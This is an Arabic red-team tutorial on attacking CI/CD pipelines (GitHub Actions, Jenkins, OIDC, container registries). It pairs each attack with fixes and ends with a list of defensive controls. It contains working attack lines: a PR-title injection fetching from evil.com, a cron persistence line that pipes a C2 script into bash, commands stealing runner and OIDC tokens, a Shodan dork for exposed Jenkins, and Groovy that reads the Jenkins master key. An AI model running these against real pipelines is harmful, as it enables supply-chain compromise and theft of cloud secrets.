الفرق الحمراء — الهجومخبير85mL53
هجمات خطوط الإنتاج (CI/CD Pipelines)
اختراق GitHub Actions و Jenkins وسرقة الأسرار
#CI/CD#GitHub Actions#Jenkins#OIDC#SLSA
لماذا CI/CD هدف ذهبي
خط الـ CI/CD هو الجسر بين الكود و الإنتاج. يعمل عادةً بصلاحيات أعلى من أي مطوّر فردي: cloud admin, registry write, deploy keys. اختراقه يعطي سيطرة على كل ما يبني الفريق — و عادةً يُغفل في برامج التصلب.
تشبيه — شرح مبسط
المصنع لا يحرس نفسه عند خط التجميع — يحرس البوابة. CI/CD هي خط التجميع: من يضع شيئاً صغيراً عليه يصل إلى كل سيارة تخرج.
لماذا خطر بشكل استثنائي
SolarWinds (2020) كان اختراق build server. CodeCov (2021), Circle CI (2023), GitHub Actions (متعدد). نموذج "shift left" نقل أيضاً السطح الهجومي left.
نقاط الدخول الرئيسية
Pull Request poisoning
PR من خارجي يعدّل ملف workflow — أو يضيف dependency خبيثة — يُشغّل بصلاحيات الـ runner المتميّز قبل المراجعة.
Secrets في logs / artifacts
echo $TOKEN أو printenv في job، ثم تنزيل الـ logs العلنية. أو حفظ artifact غير مقصود.
Self-hosted runners
Runner persistent، يصعب تنظيفه بين jobs. PR من fork يصل لجهاز فعلي و يستمر فيه.
OIDC misconfig
ربط GitHub Actions بـ AWS/Azure عبر OIDC ثم وضع sub: * أو غياب فلتر الفرع → أي repo في الـ org يدّعي الهوية.
Branch protection bypass
Bot accounts تتجاوز review. أو حق contents: write يكتب على فرع محمي عبر API.
Dependency confusion
نشر حزمة internal باسم مطابق على npm/pypi العلني → CI يسحب الخبيثة لأن resolver لا يفرّق.
GitHub Actions — أكثر النقاط شيوعاً
1) pull_request_target — الفخ الكلاسيكي
yaml
# خطير! يُشغّل بصلاحيات repo (secrets) لكن مع كود الـ PR
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # كود غير موثوق!
- run: npm install && npm run build # ينفّذ scripts الخبيثة
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # السرّ مكشوفالإصلاح: استخدم pull_request العادي (لا secrets على PRs خارجية)، أو افصل المهام: workflow غير ذو امتيازات يبني، و workflow آخر يستخدم secrets فقط بعد label يدوي.
2) Script injection عبر context
yaml
- run: echo "Title: ${{ github.event.pull_request.title }}"
# عنوان PR مثل: $(curl evil.com/x.sh | sh) — ينفّذ على الـ runner!الإصلاح: مرّر القيم عبر env:
yaml
- run: echo "Title: $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}3) Third-party action مثبّتة بـ tag (mutable)
yaml
- uses: tj-actions/changed-files@v44 # tag يمكن تحريكه!
# في 2025 تم اختراق tj-actions و أُعيد توجيه v44 لـ commit يسرّب secretsالإصلاح: ثبّت بـ SHA كامل:
yaml
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8 # v44.5.7Self-hosted runners — أخطر منشأة
$ # داخل runner مخترق — استمرارية:
$ echo '* * * * * curl https://c2/x.sh | bash' >> ~/.cron
$ # سرقة GITHUB_TOKEN لأي job يعمل بعدك
$ cat /tmp/_runner_file_commands/* 2>/dev/null
$ # سرقة OIDC token (يفتح AWS/Azure)
$ echo $ACTIONS_ID_TOKEN_REQUEST_TOKEN
$ echo $ACTIONS_ID_TOKEN_REQUEST_URL
قاعدة
لا تشغّل self-hosted runners على مستودعات عامة أبداً. إذا اضطررت: استخدم ephemeral runners (VM جديد لكل job) و اعزلها على شبكة بدون وصول لـ prod.
OIDC misconfiguration — اختراق سحابي بدون كلمة مرور
json
// AWS Trust policy خطر — أي workflow في الـ org يأخذ الدور!
{
"Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::1234:oidc-provider/token.actions.githubusercontent.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:my-org/*" // <— خطأ
}
}
}الصحيح: قيّد بفرع محدّد و repo محدّد:
text
"token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"Jenkins — أعمار طويلة، مفاجآت أكثر
- Script Console (/script) → تنفيذ Groovy = root على الـ master. كثير من Jenkins يكشف هذا.
- build with parameters → injection في shell step.
- credentials.xml على الـ master يحوي كل الأسرار مشفّرة بمفتاح موجود بجوارها.
$ # اكتشاف Jenkins مكشوف
$ shodan search 'http.title:"Dashboard [Jenkins]" http.html:"sign up"'
$ # لو وصلت Script Console:
$ # Manage Jenkins → Script Console:
$ println "id".execute().text
$ println new File('/var/lib/jenkins/secrets/master.key').text
Container registries و artifacts
سرقة push token تعني نشر صورة خبيثة بنفس الاسم. كل من يسحب latest ينفّذها.
bash
# Docker Hub — push صورة مع entrypoint خبيث
docker build -t myorg/app:latest -f Dockerfile.evil .
docker push myorg/app:latest
# الدفاع: image signing
cosign sign --key cosign.key myorg/app:sha256@...
cosign verify --key cosign.pub myorg/app:latest # في deploy stepSLSA و Sigstore — التوقيع المُعتمد
SLSA (Supply-chain Levels for Software Artifacts) إطار من Google يحدّد مستويات نضج. الهدف: كل artifact يأتي مع provenance موقّعة تثبت من بناه و من أي مصدر.
- Sigstore / cosign — توقيع keyless عبر OIDC (Fulcio CA + Rekor transparency log).
- SLSA Level 3: build على hosted ephemeral runner، provenance غير قابلة للتزوير.
- Verification في admission: Kubernetes + Kyverno/Connaisseur يرفض الـ pods بدون توقيع.
الكشف و الدفاع
ضوابط حاسمة
- Pin actions بـ SHA، لا tags. أتمتة عبر Dependabot/Renovate.
- منع pull_request_target + checkout PR ref في نفس الـ workflow.
- OIDC: حدّد sub بدقة (repo + ref). لا wildcards.
- Secret scanning + push protection على المستودع.
- Branch protection: required reviews، signed commits، linear history.
- Ephemeral runners فقط للمستودعات العامة.
- Network egress من runners إلى allowlist معروف فقط.
- Audit logs للـ org → SIEM. راقب: secret scanning bypass، ربط OIDC جديد، ترقية صلاحيات.
MITRE ATT&CK
T1195.002 (Compromise Software Supply Chain) · T1078.004 (Cloud Accounts) · T1053.005 (Scheduled Task: Pipeline) · T1098 (Account Manipulation).